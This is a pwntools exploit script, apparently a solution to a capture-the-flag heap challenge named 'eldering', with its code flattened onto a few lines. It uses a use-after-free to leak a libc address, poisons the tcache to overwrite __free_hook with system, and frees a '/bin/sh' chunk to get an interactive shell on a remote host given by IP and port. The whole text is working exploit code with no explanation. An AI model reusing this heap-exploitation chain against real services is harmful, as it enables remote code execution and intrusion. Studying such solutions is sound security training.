1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| from pwn import * context.terminal = ['tmux','splitw','-h']
def payload(lo:int): global sh if lo: sh = process('./eldering2') libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.31-0ubuntu9.12_amd64/libc.so.6') if lo & 2: gdb.attach(sh) else: sh = remote('106.14.57.14', 31825) libc = ELF('./libc.so.6') elf = ELF('eldering')
def addn(idx:int, size:int): sh.sendlineafter(b'>', b'1') sh.sendlineafter(b'Index', str(idx).encode()) sh.sendlineafter(b'Size', str(size).encode())
def deln(idx:int): sh.sendlineafter(b'>', b'2') sh.sendlineafter(b'Index', str(idx).encode())
def edit(idx:int, content:bytes): sh.sendlineafter(b'>', b'3') sh.sendlineafter(b'Index', str(idx).encode()) sh.sendafter(b'Content', content)
def show(idx:int) -> bytes: sh.sendlineafter(b'>', b'4') sh.sendlineafter(b'Index: ', str(idx).encode()) return sh.recvline()
addn(0, 0x98) addn(1, 0x98) addn(2, 0x98) addn(3, 0x98) addn(4, 0x98) addn(5, 0x98) addn(6, 0x98) addn(7, 0x98) deln(7) deln(6) deln(5) deln(4) deln(3) deln(2) deln(1) deln(0) ret = show(0) dumpArena = libc.symbols['__malloc_hook'] + (libc.symbols['__malloc_hook'] - libc.symbols['__realloc_hook']) * 2 mainArena = u64(ret[:6] + b'\0\0') - 0x60 libcBase = mainArena - dumpArena print(f'\x1b[33mcheck libcBase: {hex(libcBase)}\x1b[0m') freeHook = libcBase + libc.symbols['__free_hook'] system = libcBase + libc.symbols['system']
addn(8, 0x18) addn(9, 0x38) deln(8) edit(8, p64(freeHook) + b'\n') deln(8) edit(8, p64(freeHook) + b'\n') addn(10, 0x18) addn(11, 0x18) edit(11, p64(system) + b'\n') edit(9, b'/bin/sh\0\n') deln(9)
sh.clean() sh.interactive()
|